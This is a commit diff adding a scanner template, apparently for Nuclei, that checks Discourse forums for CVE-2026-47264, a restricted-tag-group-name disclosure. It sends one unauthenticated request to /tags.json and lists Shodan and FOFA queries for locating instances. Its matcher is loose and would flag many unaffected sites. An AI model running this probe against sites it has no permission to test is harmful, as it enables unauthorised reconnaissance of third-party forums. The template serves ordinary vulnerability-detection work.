Create CVE-2026-47264.yaml

2026-11-07 08:36:19 -10:00 · 2026-06-18 08:37:08 +05:30
1 changed files with 57 additions and 0 deletions
@@ -0,0 +1,57 @@
+id: CVE-2026-47264
+
+info:
+  name: Discourse  Restricted Tag Group Names - Information Disclosure
+  author: pussycat0x
+  severity: medium
+  description: |
+    Discourse 2026.1.0-latest < 2026.1.4, 2026.3.0-latest < 2026.3.1, and 2026.4.0-latest < 2026.4.1 contain an information disclosure caused by DetailedTagSerializer#tag_group_names not filtering tag groups by user visibility, letting anonymous and unprivileged users read restricted tag group names, exploit requires SiteSetting.tags_listed_by_group enabled.
+  impact: |
+    Anonymous and unprivileged users can view restricted tag group names, potentially exposing sensitive organizational information.
+  remediation: |
+    Upgrade to versions 2026.1.4, 2026.3.1, 2026.4.1, or 2026.5.0-latest.1.
+  reference:
+    - https://github.com/discourse/discourse/security/advisories/GHSA-4q5q-6hh6-53x2
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
+    cvss-score: 5.3
+    cve-id: CVE-2026-47264
+    cwe-id: CWE-200
+    epss-score: 0.003
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: discourse
+    product: discourse
+    fofa-query: 'body="Discourse" && title="Discourse"'
+    shodan-query: 'http.html:"Powered by Discourse"'
+  tags: cve,cve2026,discourse,disclosure,unauthenticated,tag-group
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/tags.json"
+
+    headers:
+      Accept: application/json
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code == 200"
+          - "contains_all(body, 'tags','name')"
+        condition: and
+
+    extractors:
+      - type: json
+        name: first_tag
+        json:
+          - ".tags[0].id"
+        internal: true
+
+      - type: regex
+        name: tag_list
+        part: body
+        regex:
+          - '"id"\s*:\s*"([^"]+)"'
+        group: 1